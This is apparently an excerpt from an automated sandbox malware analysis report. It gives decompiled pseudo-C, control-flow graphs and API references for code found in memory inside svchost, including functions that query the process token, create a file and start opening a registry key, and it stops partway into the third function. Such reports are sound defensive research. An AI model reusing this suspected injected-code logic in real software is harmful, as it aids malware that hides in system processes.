                                                                                                                                                                                                                                                                                                      • API String ID: 1094421473-1885708031
                                                                                                                                                                                                                                                                                                      • Opcode ID: 9a3afba0ccd809d04e5dde8b4f28a7b63fb985dc1bf3ab1194f34c8aa8395097
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2d9617d7ef22f45200a3d11fd089eec0d4990165c3fa079c799ab9061f70e09c
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9a3afba0ccd809d04e5dde8b4f28a7b63fb985dc1bf3ab1194f34c8aa8395097
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2C4109B8A11249EFDB04DF94C885FEEB7B5BF88304F148598E9056B351D774EA40CB90
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 297 30c9890-30c98a1 298 30c98a9-30c98ad 297->298 299 30c98a3-30c98a7 297->299 300 30c98af-30c98b2 298->300 301 30c98b7-30c98c2 298->301 299->298 299->300 304 30c99ff-30c9a02 300->304 302 30c98de-30c98e2 301->302 303 30c98c4-30c98d7 call 30c97f0 301->303 306 30c99fc 302->306 307 30c98e8-30c990f call 30c16e0 NtQueryInformationToken 302->307 303->302 306->304 311 30c99e9-30c99ed 307->311 312 30c9915-30c9928 call 30c7460 307->312 311->306 313 30c99ef-30c99fa call 30c16e0 NtClose 311->313 312->311 318 30c992e-30c994f call 30c16e0 NtQueryInformationToken 312->318 313->306 318->311 321 30c9955-30c9976 call 30c16e0 318->321 325 30c99dd-30c99e1 call 30c7700 321->325 326 30c9978-30c9980 call 30c7460 321->326 329 30c99e6 325->329 330 30c9985-30c998f 326->330 329->311 331 30c99c9-30c99da call 30c16e0 330->331 332 30c9991-30c99c2 call 30c16e0 330->332 331->325 332->331
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                      			E030C9890(intOrPtr _a4, void* _a8, intOrPtr* _a12) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v24;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				signed int _v36;
                                                                                                                                                                                                                                                                                                      				void* _t52;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _t55;
                                                                                                                                                                                                                                                                                                      				void* _t59;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t67;
                                                                                                                                                                                                                                                                                                      				void* _t78;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t96;
                                                                                                                                                                                                                                                                                                      				void* _t99;
                                                                                                                                                                                                                                                                                                      				void* _t100;
                                                                                                                                                                                                                                                                                                      				void* _t102;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0 || _a8 != 0) {
                                                                                                                                                                                                                                                                                                      					if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v24 = 0;
                                                                                                                                                                                                                                                                                                      						if(_a8 == 0) {
                                                                                                                                                                                                                                                                                                      							_t78 = E030C97F0(0, _a4, 8);
                                                                                                                                                                                                                                                                                                      							_t99 = _t99 + 0xc;
                                                                                                                                                                                                                                                                                                      							_a8 = _t78;
                                                                                                                                                                                                                                                                                                      							_v24 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      							_v8 = 0;
                                                                                                                                                                                                                                                                                                      							_push( &_v8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(1);
                                                                                                                                                                                                                                                                                                      							_push(_a8);
                                                                                                                                                                                                                                                                                                      							_t52 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t52 == 0xc0000023) {
                                                                                                                                                                                                                                                                                                      								_t55 = E030C7460(_v8); // executed
                                                                                                                                                                                                                                                                                                      								_t100 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      								_v16 = _t55;
                                                                                                                                                                                                                                                                                                      								if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      									_push( &_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v16);
                                                                                                                                                                                                                                                                                                      									_push(1);
                                                                                                                                                                                                                                                                                                      									_push(_a8);
                                                                                                                                                                                                                                                                                                      									_t59 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      									if(_t59 >= 0) {
                                                                                                                                                                                                                                                                                                      										_v28 = _v16;
                                                                                                                                                                                                                                                                                                      										_push(1);
                                                                                                                                                                                                                                                                                                      										_push( *_v28);
                                                                                                                                                                                                                                                                                                      										_t85 =  &_v36;
                                                                                                                                                                                                                                                                                                      										_push( &_v36);
                                                                                                                                                                                                                                                                                                      										if( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x174))))() >= 0) {
                                                                                                                                                                                                                                                                                                      											_t67 = E030C7460((_v36 & 0x0000ffff) + 2); // executed
                                                                                                                                                                                                                                                                                                      											_t102 = _t100 + 4;
                                                                                                                                                                                                                                                                                                      											_v12 = _t67;
                                                                                                                                                                                                                                                                                                      											if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      												_push(_v36 & 0x0000ffff);
                                                                                                                                                                                                                                                                                                      												_t96 = _v32;
                                                                                                                                                                                                                                                                                                      												_push(_t96);
                                                                                                                                                                                                                                                                                                      												_push(_v12);
                                                                                                                                                                                                                                                                                                      												 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      												asm("cdq");
                                                                                                                                                                                                                                                                                                      												 *((short*)(_v12 + ((_v36 & 0x0000ffff) - _t96 >> 1) * 2)) = 0;
                                                                                                                                                                                                                                                                                                      												 *_a12 = _v12;
                                                                                                                                                                                                                                                                                                      												_v20 = 1;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      											_t85 =  &_v36;
                                                                                                                                                                                                                                                                                                      											_push( &_v36);
                                                                                                                                                                                                                                                                                                      											 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x16c))))();
                                                                                                                                                                                                                                                                                                      											_t100 = _t102 + 4;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E030C7700(_t85, _v16); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v24 != 0) {
                                                                                                                                                                                                                                                                                                      								E030C16E0();
                                                                                                                                                                                                                                                                                                      								NtClose(_a8); // executed
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						return _v20;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					goto L3;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					L3:
                                                                                                                                                                                                                                                                                                      					return _v20;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}




















                                                                                                                                                                                                                                                                                                      0x030c9896
                                                                                                                                                                                                                                                                                                      0x030c98a1
                                                                                                                                                                                                                                                                                                      0x030c98ad
                                                                                                                                                                                                                                                                                                      0x030c98b7
                                                                                                                                                                                                                                                                                                      0x030c98c2
                                                                                                                                                                                                                                                                                                      0x030c98cc
                                                                                                                                                                                                                                                                                                      0x030c98d1
                                                                                                                                                                                                                                                                                                      0x030c98d4
                                                                                                                                                                                                                                                                                                      0x030c98d7
                                                                                                                                                                                                                                                                                                      0x030c98d7
                                                                                                                                                                                                                                                                                                      0x030c98e2
                                                                                                                                                                                                                                                                                                      0x030c98e8
                                                                                                                                                                                                                                                                                                      0x030c98f2
                                                                                                                                                                                                                                                                                                      0x030c98f3
                                                                                                                                                                                                                                                                                                      0x030c98f5
                                                                                                                                                                                                                                                                                                      0x030c98f7
                                                                                                                                                                                                                                                                                                      0x030c98fc
                                                                                                                                                                                                                                                                                                      0x030c9908
                                                                                                                                                                                                                                                                                                      0x030c990f
                                                                                                                                                                                                                                                                                                      0x030c9919
                                                                                                                                                                                                                                                                                                      0x030c991e
                                                                                                                                                                                                                                                                                                      0x030c9921
                                                                                                                                                                                                                                                                                                      0x030c9928
                                                                                                                                                                                                                                                                                                      0x030c9931
                                                                                                                                                                                                                                                                                                      0x030c9935
                                                                                                                                                                                                                                                                                                      0x030c9939
                                                                                                                                                                                                                                                                                                      0x030c993a
                                                                                                                                                                                                                                                                                                      0x030c993f
                                                                                                                                                                                                                                                                                                      0x030c994b
                                                                                                                                                                                                                                                                                                      0x030c994f
                                                                                                                                                                                                                                                                                                      0x030c9958
                                                                                                                                                                                                                                                                                                      0x030c995b
                                                                                                                                                                                                                                                                                                      0x030c9962
                                                                                                                                                                                                                                                                                                      0x030c9963
                                                                                                                                                                                                                                                                                                      0x030c9966
                                                                                                                                                                                                                                                                                                      0x030c9976
                                                                                                                                                                                                                                                                                                      0x030c9980
                                                                                                                                                                                                                                                                                                      0x030c9985
                                                                                                                                                                                                                                                                                                      0x030c9988
                                                                                                                                                                                                                                                                                                      0x030c998f
                                                                                                                                                                                                                                                                                                      0x030c9995
                                                                                                                                                                                                                                                                                                      0x030c9996
                                                                                                                                                                                                                                                                                                      0x030c9999
                                                                                                                                                                                                                                                                                                      0x030c999d
                                                                                                                                                                                                                                                                                                      0x030c99a6
                                                                                                                                                                                                                                                                                                      0x030c99ac
                                                                                                                                                                                                                                                                                                      0x030c99b6
                                                                                                                                                                                                                                                                                                      0x030c99c0
                                                                                                                                                                                                                                                                                                      0x030c99c2
                                                                                                                                                                                                                                                                                                      0x030c99c2
                                                                                                                                                                                                                                                                                                      0x030c99c9
                                                                                                                                                                                                                                                                                                      0x030c99cc
                                                                                                                                                                                                                                                                                                      0x030c99d8
                                                                                                                                                                                                                                                                                                      0x030c99da
                                                                                                                                                                                                                                                                                                      0x030c99da
                                                                                                                                                                                                                                                                                                      0x030c99e1
                                                                                                                                                                                                                                                                                                      0x030c99e6
                                                                                                                                                                                                                                                                                                      0x030c994f
                                                                                                                                                                                                                                                                                                      0x030c9928
                                                                                                                                                                                                                                                                                                      0x030c99ed
                                                                                                                                                                                                                                                                                                      0x030c99f3
                                                                                                                                                                                                                                                                                                      0x030c99fa
                                                                                                                                                                                                                                                                                                      0x030c99fa
                                                                                                                                                                                                                                                                                                      0x030c99ed
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c99fc
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c98af
                                                                                                                                                                                                                                                                                                      0x030c98af
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c98af

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 030C9908
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 030C994B
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 030C99FA
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: InformationQueryToken$Close
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 459398573-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 99affe05906377c0961fd86a6b42f6947d115465184df71f7ba857933104075f
                                                                                                                                                                                                                                                                                                      • Instruction ID: 6acc0bad5e834763463c53623daec569442b434d112c1590188fa772638d5cf0
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 99affe05906377c0961fd86a6b42f6947d115465184df71f7ba857933104075f
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 224150B9911248EFDB14DFE8C885BEEB3B4AF44304F04816CE505AB290D775EA44CB51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 354 30c6520-30c6531 355 30c653b-30c6559 call 30c16e0 354->355 356 30c6533-30c6536 354->356 361 30c655f-30c65d7 call 30c16e0 * 2 NtCreateFile 355->361 362 30c6745 355->362 357 30c6748-30c674b 356->357 368 30c672c-30c6740 call 30cd560 call 30c16e0 361->368 369 30c65dd-30c6630 call 30c16e0 361->369 362->357 368->362 377 30c671f-30c6728 call 30c16e0 369->377 378 30c6636-30c6651 call 30c61c0 369->378 377->368 383 30c6657-30c6671 call 30c7460 378->383 384 30c6712-30c671b call 30c16e0 378->384 383->384 389 30c6677-30c66be call 30c16e0 * 2 383->389 384->377 396 30c66db-30c66df 389->396 397 30c66c0-30c66d8 call 30c16e0 389->397 399 30c6706-30c670f call 30c7700 396->399 400 30c66e1-30c66e5 396->400 397->396 399->384 403 30c66ef-30c66f3 400->403 404 30c66e7-30c66ed 400->404 405 30c66fd-30c6704 403->405 406 30c66f5-30c66fb 403->406 404->403 405->384 406->405
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 51%
                                                                                                                                                                                                                                                                                                      			E030C6520(intOrPtr _a4, struct _GUID* _a8, intOrPtr* _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				long _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v40;
                                                                                                                                                                                                                                                                                                      				char _v44;
                                                                                                                                                                                                                                                                                                      				char _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v60;
                                                                                                                                                                                                                                                                                                      				long _v64;
                                                                                                                                                                                                                                                                                                      				char* _v68;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v72;
                                                                                                                                                                                                                                                                                                      				void* _v76;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v80;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v92;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v96;
                                                                                                                                                                                                                                                                                                      				char _v100;
                                                                                                                                                                                                                                                                                                      				long _t85;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v28 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v28;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push( &_v44);
                                                                                                                                                                                                                                                                                                      				_push(_a4);
                                                                                                                                                                                                                                                                                                      				if(( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x170))))() & 0x000000ff) == 0) {
                                                                                                                                                                                                                                                                                                      					L19:
                                                                                                                                                                                                                                                                                                      					return _v28;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v76 = 0x18;
                                                                                                                                                                                                                                                                                                      					_v72 = 0;
                                                                                                                                                                                                                                                                                                      					_v64 = 0x40;
                                                                                                                                                                                                                                                                                                      					_v68 =  &_v44;
                                                                                                                                                                                                                                                                                                      					_v60 = 0;
                                                                                                                                                                                                                                                                                                      					_v56 = 0;
                                                                                                                                                                                                                                                                                                      					_push(8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_v24 = 0;
                                                                                                                                                                                                                                                                                                      					E030C16E0();
                                                                                                                                                                                                                                                                                                      					_t85 = NtCreateFile( &_v24, 0x100001,  &_v76,  &_v36, 0, 0x80, 1, 1, 0x40, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      					_v8 = _t85;
                                                                                                                                                                                                                                                                                                      					if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      						L18:
                                                                                                                                                                                                                                                                                                      						_push(_v40);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E030CD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      						goto L19;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v100 = 0x18;
                                                                                                                                                                                                                                                                                                      					_v96 = 0;
                                                                                                                                                                                                                                                                                                      					_v88 = 0;
                                                                                                                                                                                                                                                                                                      					_v92 = 0;
                                                                                                                                                                                                                                                                                                      					_v84 = 0;
                                                                                                                                                                                                                                                                                                      					_v80 = 0;
                                                                                                                                                                                                                                                                                                      					_v20 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(1);
                                                                                                                                                                                                                                                                                                      					_push( &_v100);
                                                                                                                                                                                                                                                                                                      					_push(0x1f0003);
                                                                                                                                                                                                                                                                                                      					_push( &_v20);
                                                                                                                                                                                                                                                                                                      					_v8 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x3c))))();
                                                                                                                                                                                                                                                                                                      					if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      						L17:
                                                                                                                                                                                                                                                                                                      						_push(_v24);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0()))))();
                                                                                                                                                                                                                                                                                                      						goto L18;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(_v32);
                                                                                                                                                                                                                                                                                                      					_v16 = E030C61C0(_v24, _v36);
                                                                                                                                                                                                                                                                                                      					if(_v16 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_v12 = 0;
                                                                                                                                                                                                                                                                                                      						_v12 = E030C7460(_v16);
                                                                                                                                                                                                                                                                                                      						if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v52);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v52);
                                                                                                                                                                                                                                                                                                      							_push(_v16);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							_push( &_v36);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(_v20);
                                                                                                                                                                                                                                                                                                      							_push(_v24);
                                                                                                                                                                                                                                                                                                      							_v8 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0xc4))))();
                                                                                                                                                                                                                                                                                                      							if(_v8 == 0x103) {
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(_v20);
                                                                                                                                                                                                                                                                                                      								_v8 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x48))))();
                                                                                                                                                                                                                                                                                                      								_v8 = _v36;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      								E030C7700(_v12, _v12);
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      									 *_a8 = _v12;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      									 *_a12 = _v16;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								_v28 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(_v20);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E030C16E0()))))();
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}



























                                                                                                                                                                                                                                                                                                      0x030c6526
                                                                                                                                                                                                                                                                                                      0x030c6531
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c6533
                                                                                                                                                                                                                                                                                                      0x030c653b
                                                                                                                                                                                                                                                                                                      0x030c653d
                                                                                                                                                                                                                                                                                                      0x030c6542
                                                                                                                                                                                                                                                                                                      0x030c6546
                                                                                                                                                                                                                                                                                                      0x030c6559
                                                                                                                                                                                                                                                                                                      0x030c6745
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c655f
                                                                                                                                                                                                                                                                                                      0x030c655f
                                                                                                                                                                                                                                                                                                      0x030c6566
                                                                                                                                                                                                                                                                                                      0x030c656d
                                                                                                                                                                                                                                                                                                      0x030c6577
                                                                                                                                                                                                                                                                                                      0x030c657a
                                                                                                                                                                                                                                                                                                      0x030c6581
                                                                                                                                                                                                                                                                                                      0x030c6588
                                                                                                                                                                                                                                                                                                      0x030c658a
                                                                                                                                                                                                                                                                                                      0x030c658f
                                                                                                                                                                                                                                                                                                      0x030c6598
                                                                                                                                                                                                                                                                                                      0x030c659a
                                                                                                                                                                                                                                                                                                      0x030c65c3
                                                                                                                                                                                                                                                                                                      0x030c65ce
                                                                                                                                                                                                                                                                                                      0x030c65d0
                                                                                                                                                                                                                                                                                                      0x030c65d7
                                                                                                                                                                                                                                                                                                      0x030c672c
                                                                                                                                                                                                                                                                                                      0x030c672f
                                                                                                                                                                                                                                                                                                      0x030c6730
                                                                                                                                                                                                                                                                                                      0x030c673a
                                                                                                                                                                                                                                                                                                      0x030c6743
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c6743
                                                                                                                                                                                                                                                                                                      0x030c65dd
                                                                                                                                                                                                                                                                                                      0x030c65e4
                                                                                                                                                                                                                                                                                                      0x030c65eb
                                                                                                                                                                                                                                                                                                      0x030c65f2
                                                                                                                                                                                                                                                                                                      0x030c65f9
                                                                                                                                                                                                                                                                                                      0x030c6600
                                                                                                                                                                                                                                                                                                      0x030c6607
                                                                                                                                                                                                                                                                                                      0x030c660e
                                                                                                                                                                                                                                                                                                      0x030c6610
                                                                                                                                                                                                                                                                                                      0x030c6615
                                                                                                                                                                                                                                                                                                      0x030c6616
                                                                                                                                                                                                                                                                                                      0x030c661e
                                                                                                                                                                                                                                                                                                      0x030c6629
                                                                                                                                                                                                                                                                                                      0x030c6630
                                                                                                                                                                                                                                                                                                      0x030c671f
                                                                                                                                                                                                                                                                                                      0x030c6722
                                                                                                                                                                                                                                                                                                      0x030c672a
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c672a
                                                                                                                                                                                                                                                                                                      0x030c6639
                                                                                                                                                                                                                                                                                                      0x030c664a
                                                                                                                                                                                                                                                                                                      0x030c6651
                                                                                                                                                                                                                                                                                                      0x030c6657
                                                                                                                                                                                                                                                                                                      0x030c666a
                                                                                                                                                                                                                                                                                                      0x030c6671
                                                                                                                                                                                                                                                                                                      0x030c6677
                                                                                                                                                                                                                                                                                                      0x030c6679
                                                                                                                                                                                                                                                                                                      0x030c667e
                                                                                                                                                                                                                                                                                                      0x030c6687
                                                                                                                                                                                                                                                                                                      0x030c6689
                                                                                                                                                                                                                                                                                                      0x030c668e
                                                                                                                                                                                                                                                                                                      0x030c6692
                                                                                                                                                                                                                                                                                                      0x030c6696
                                                                                                                                                                                                                                                                                                      0x030c669a
                                                                                                                                                                                                                                                                                                      0x030c669b
                                                                                                                                                                                                                                                                                                      0x030c669d
                                                                                                                                                                                                                                                                                                      0x030c66a2
                                                                                                                                                                                                                                                                                                      0x030c66a6
                                                                                                                                                                                                                                                                                                      0x030c66b4
                                                                                                                                                                                                                                                                                                      0x030c66be
                                                                                                                                                                                                                                                                                                      0x030c66c0
                                                                                                                                                                                                                                                                                                      0x030c66c2
                                                                                                                                                                                                                                                                                                      0x030c66c7
                                                                                                                                                                                                                                                                                                      0x030c66d2
                                                                                                                                                                                                                                                                                                      0x030c66d8
                                                                                                                                                                                                                                                                                                      0x030c66d8
                                                                                                                                                                                                                                                                                                      0x030c66df
                                                                                                                                                                                                                                                                                                      0x030c670a
                                                                                                                                                                                                                                                                                                      0x030c66e1
                                                                                                                                                                                                                                                                                                      0x030c66e5
                                                                                                                                                                                                                                                                                                      0x030c66ed
                                                                                                                                                                                                                                                                                                      0x030c66ed
                                                                                                                                                                                                                                                                                                      0x030c66f3
                                                                                                                                                                                                                                                                                                      0x030c66fb
                                                                                                                                                                                                                                                                                                      0x030c66fb
                                                                                                                                                                                                                                                                                                      0x030c66fd
                                                                                                                                                                                                                                                                                                      0x030c66fd
                                                                                                                                                                                                                                                                                                      0x030c66df
                                                                                                                                                                                                                                                                                                      0x030c6671
                                                                                                                                                                                                                                                                                                      0x030c6715
                                                                                                                                                                                                                                                                                                      0x030c671d
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c671d

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100001,00000018,?,00000000,00000080,00000001,00000001,00000040,00000000,00000000), ref: 030C65CE
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 823142352-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: ca89373e62fa64100c6058c567e9eac807b38feba4f8f26175432a631e47fd26
                                                                                                                                                                                                                                                                                                      • Instruction ID: ac06ccf9a0f83631bf26adafe1f7a5bd41a8ab3cb02f18dcff4bb2c58d504892
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ca89373e62fa64100c6058c567e9eac807b38feba4f8f26175432a631e47fd26
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B06108B5A11348AFDB14DFE4C885FEEB7B4BF88704F14855CE104AB290DBB5AA44CB90
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 409 30cb230-30cb24f 410 30cb259-30cb277 call 30cad90 409->410 411 30cb251-30cb254 409->411 415 30cb27d-30cb2e2 call 30c16e0 * 2 NtOpenKey 410->415 416 30cb2ff 410->416 412 30cb302-30cb305 411->412 422 30cb2e4-30cb2ec 415->422 423 30cb2f3-30cb2f7 call 30c7700 415->423 416->412 422->423 425 30cb2fc 423->425 425->416
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 90%
                                                                                                                                                                                                                                                                                                      			E030CB230(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, long _a16, intOrPtr* _a20) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				void* _v16;
